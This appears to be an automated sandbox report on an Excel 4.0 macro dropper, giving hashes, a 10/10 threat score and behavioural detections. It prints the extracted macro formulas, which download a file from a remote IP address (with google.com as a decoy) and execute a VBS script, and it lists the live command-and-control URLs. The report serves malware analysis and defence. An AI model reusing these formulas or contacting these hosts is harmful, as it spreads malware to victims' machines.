General

  • Target

    dc85dc4b1e2b3fb6b6dfea606dbcf9e6

  • Size

    6KB

  • Sample

    231222-s3rzxaabek

  • MD5

    dc85dc4b1e2b3fb6b6dfea606dbcf9e6

  • SHA1

    a8dd1f2bfe429ac008a6c1648d0b74ce35f7090f

  • SHA256

    28c31084711a9adfc4abe64c2392e565f2cb4f4832ebc81d20ac21e9b2a5c5c1

  • SHA512

    d53ef8e621b51bcd04e1f5db7df7b8e87a550f3537cd4d6e089a0fe0645ae396d3ae768983b023a7a655052d1b7701ed3bc1f3b4f064c5e9cca62219f8eac7da

  • SSDEEP

    192:NDSiuSwbrA2OmmfRD8UhHFBFYulb98yei+f:NVuNM2wx1FYwb98ye3

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      dc85dc4b1e2b3fb6b6dfea606dbcf9e6

    • Size

      6KB

    • MD5

      dc85dc4b1e2b3fb6b6dfea606dbcf9e6

    • SHA1

      a8dd1f2bfe429ac008a6c1648d0b74ce35f7090f

    • SHA256

      28c31084711a9adfc4abe64c2392e565f2cb4f4832ebc81d20ac21e9b2a5c5c1

    • SHA512

      d53ef8e621b51bcd04e1f5db7df7b8e87a550f3537cd4d6e089a0fe0645ae396d3ae768983b023a7a655052d1b7701ed3bc1f3b4f064c5e9cca62219f8eac7da

    • SSDEEP

      192:NDSiuSwbrA2OmmfRD8UhHFBFYulb98yei+f:NVuNM2wx1FYwb98ye3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks